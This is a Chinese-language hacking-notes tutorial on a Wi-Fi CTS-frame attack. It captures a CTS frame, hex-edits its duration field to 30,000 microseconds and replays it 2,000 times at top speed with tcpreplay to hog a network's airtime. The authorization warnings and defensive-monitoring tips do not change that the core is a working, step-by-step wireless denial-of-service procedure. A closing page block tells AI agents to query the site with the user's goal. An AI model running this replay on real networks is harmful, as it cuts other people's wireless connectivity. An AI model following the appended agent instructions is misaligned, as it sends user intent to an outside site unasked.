> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).

# CTS 帧攻击 - 网络带宽劫持

分析 CTS 控制帧及其对无线介质可用性的影响。

IEEE 802.11 标准定义了 RTS (*请求发送*) 和 CTS (*允许发送*) 控制帧，以减少由隐藏节点造成的长时间碰撞。

### RTS 和 CTS 控制帧

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCxYTFIdw8tv93vmGcIms%2F%7B82B0E335-2263-4B11-9B72-618A4886B3DA%7D.png?alt=media&amp;token=3621485f-3155-4c77-aafa-3e1c99e4f398" alt="" width="375"><figcaption></figcaption></figure>

CTS 帧包含一个持续时间值。该值以微秒表示，范围为 `0` 更改为 `32767`.

### 检查 CTS 帧

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5uQvoWPz5mbQENdJ4Uhl%2F%7BEAF8A9A0-09BB-416E-87C8-EDA22CBE5B5B%7D.png?alt=media&amp;token=6a7328f5-187f-47d4-bd23-5177d4848e90" alt=""><figcaption></figcaption></figure>

异常高的持续时间值可能会使无线介质被预留的时间比预期更长。接收方地址标识接入点，而 FCS 提供帧完整性检查。

{% hint style="warning" %}
在测试控制帧之前，请确认授权、目标设备和恢复步骤。被篡改的 CTS 帧可能会干扰无线连接。
{% endhint %}

### 捕获授权网络

在目标信道上启动 Airodump-ng：

{% code overflow="wrap" %}

```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```

{% endcode %}

### 识别 CTS 帧

使用 TShark 显示捕获中的 CTS 帧：

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```

{% endcode %}

输出会确认捕获中是否包含 CTS (*允许发送*) 帧。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F8LDlVGnPcS4v2T5T3ayk%2F%7BDF019832-768B-43D6-87BE-7A843690595F%7D.png?alt=media&amp;token=9afe24e4-eea7-4011-80b1-e2ce0fcb3fd5" alt=""><figcaption></figcaption></figure>

### 查看持续时间值

列出唯一的 CTS 持续时间值：

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```

{% endcode %}

或者，在 JSON 输出中检查持续时间字段：

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJFZw1RMT6zdKcIz7WBig%2F%7BA9746E6B-E7EA-4A42-A192-9F2B7E14BE2C%7D.png?alt=media&amp;token=b48e652f-a728-4e22-af66-ca8a7e34ffb4" alt=""><figcaption></figcaption></figure>

### 验证影响

使用专用接入点和测试客户端。在引入任何测试帧之前记录基线。

1. 测量正常吞吐量、延迟和丢包。
2. 将接入点 BSSID 用作接收方地址。
3. 在限定测试后比较测量结果。

持续时间为 `30000` 表示 30 毫秒。持续时间字段使用微秒，而不是毫秒。

### 解读结果

重复发送具有较高持续时间值的 CTS 帧可能会导致附近站点推迟传输。这会减少可用空口时间，并可能降低网络吞吐量。

将捕获到的持续时间值与基线进行比较。记录客户端是否保持连接，以及测试停止后性能是否恢复。

### 记录防御性发现

报告受影响的信道、接入点、测试时长和观察到的客户端影响。包括基线和恢复测量结果。

监控是否存在持续时间值异常的重复 CTS 帧。保持接入点固件为最新，并调查意外的空口饱和。

### 使用 Wireshark 检查 CTS 帧

直接在 Wireshark 中打开捕获：

{% code overflow="wrap" %}

```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```

{% endcode %}

应用以下显示过滤器：

{% code overflow="wrap" %}

```bash
wlan.fc.type_subtype==28
```

{% endcode %}

IEEE 802.11 详细信息还显示了持续时间值（110 微秒）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGLJQbWkmcb7GubibzeSm%2F%7B23210DB6-6743-41F1-8332-DF822D6D9D56%7D.png?alt=media&amp;token=5e640d25-5059-4d01-9164-2d54096af7d5" alt=""><figcaption></figcaption></figure>

### 导出所选 CTS 帧

选择一个 CTS 帧并使用 **文件 → 导出指定数据包**。选择 **仅所选数据包** 以仅导出该帧。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FnYuPSmnjnpKvaARwIr6L%2F%7B2BE715F8-7661-466E-B708-4A066CF1F918%7D.png?alt=media&amp;token=8b7b9e00-8c98-434e-973b-7429a86d6544" alt=""><figcaption></figcaption></figure>

### 使用 GHex 检查导出的帧

使用 GHex 打开导出的捕获：

{% code overflow="wrap" %}

```bash
ghex ctsframe.pcap > /dev/null 2>&1 &  
```

{% endcode %}

导出的文件可能不包含预期的帧。在这种情况下，直接从监控模式接口捕获，并在 Wireshark 中验证该帧。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fd08nszJEOKhDmoAnXf1W%2F%7B0534BE4D-5D1E-469F-970B-C27922720AEB%7D.png?alt=media&amp;token=2117cfad-2e41-4360-aba2-ba896b7477f9" alt=""><figcaption></figcaption></figure>

### 使用 Wireshark 直接捕获

当导出的文件不包含预期的 CTS 帧时，直接进行捕获。

打开 Wireshark，选择 `wlan0mon` 接口，并应用 CTS 显示过滤器：

{% code overflow="wrap" %}

```bash
wlan.fc.type_subtype==28
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FO2CfilRpIRNAypKoqIwC%2F%7B69AE25D8-57F9-45B4-BDB6-526FF1ABED20%7D.png?alt=media&amp;token=c3391596-c2fe-467a-9908-c9e7121d4939" alt=""><figcaption></figcaption></figure>

例如，第一帧显示的持续时间为 132 微秒。确认其目标地址与授权的测试接入点匹配。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEJP2YnPa6MYGxqGheuGF%2F%7B0E68F015-660F-4787-9FDD-253A19173820%7D.png?alt=media&amp;token=37726b42-e0d6-4f1a-9351-4a310288adbe" alt=""><figcaption></figcaption></figure>

将所选帧导出为 `ctsframe.pcap`.

打开文件并定位持续时间值。12 个字符的 MAC 地址后面的字节是 `84 00`.

{% code overflow="wrap" %}

```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FohBOZtHFDaO22nCfRXoY%2F%7B1C5725CF-AAD4-4583-8351-9F97B600C784%7D.png?alt=media&amp;token=4d34fb7d-8bfe-42ff-829b-cfda168055af" alt=""><figcaption></figcaption></figure>

将 `0x0084` 转换为十进制后得到的数据包中显示的相同值：132。

{% code overflow="wrap" %}

```
python 

0x0084
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaDHfG66b1LsR2lipdO4M%2F%7B92A2A5B4-9573-4147-89C7-36FB890F5E2F%7D.png?alt=media&amp;token=41cfc760-760f-4063-8107-11840b72f916" alt=""><figcaption></figcaption></figure>

将 30000 转换为十六进制：

{% code overflow="wrap" %}

```python
python

hex(30000)
```

{% endcode %}

结果是：

* 0x7530

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNlcsACV20cVlu3EgZzAC%2F%7B4B610428-0F06-4222-862A-2510B08995F4%7D.png?alt=media&amp;token=8235a42b-3fc6-4990-a670-14cf23c56ac3" alt=""><figcaption></figcaption></figure>

对于此次限定测试，将 `84 00` 替换为 `30 75`。字节采用小端序。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FsdSUTauJ0CLQSChtCqT2%2F%7B6B478B0A-AAD7-4C45-800C-9BEFB89265AD%7D.png?alt=media&amp;token=61e943eb-8180-4a91-a02f-0fcdc62dcb7c" alt=""><figcaption></figcaption></figure>

再次打开捕获以验证更改：

{% code overflow="wrap" %}

```bash
wireshark ctsframe.pcap  > /dev/null 2>&1 & disown
```

{% endcode %}

Wireshark 现在显示的持续时间为 30,000 微秒。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FChz4XHGAXrJAVAbHfg28%2F%7BCF7AAF3A-4C86-46A0-B655-83081F129D76%7D.png?alt=media&amp;token=ed8dcfd7-908b-49c7-891f-ad6bde8c2d61" alt=""><figcaption></figcaption></figure>

在使用以下命令之前，请确认目标设备、信道、持续时间和恢复窗口。它会反复发送测试帧以测量网络影响。

{% code overflow="wrap" %}

```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null 
```

{% endcode %}

该命令会循环发送 2,000 个数据包。每个数据包声明的持续时间为 30,000 微秒，这可能会耗尽可用空口时间。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhBcWVuoooxHl2RU7zFL0%2F%7B16E5A880-97BA-4D46-B71C-A6BCF5159476%7D.png?alt=media&amp;token=b267aad2-2db8-45f3-8927-12ff7d7afe9d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
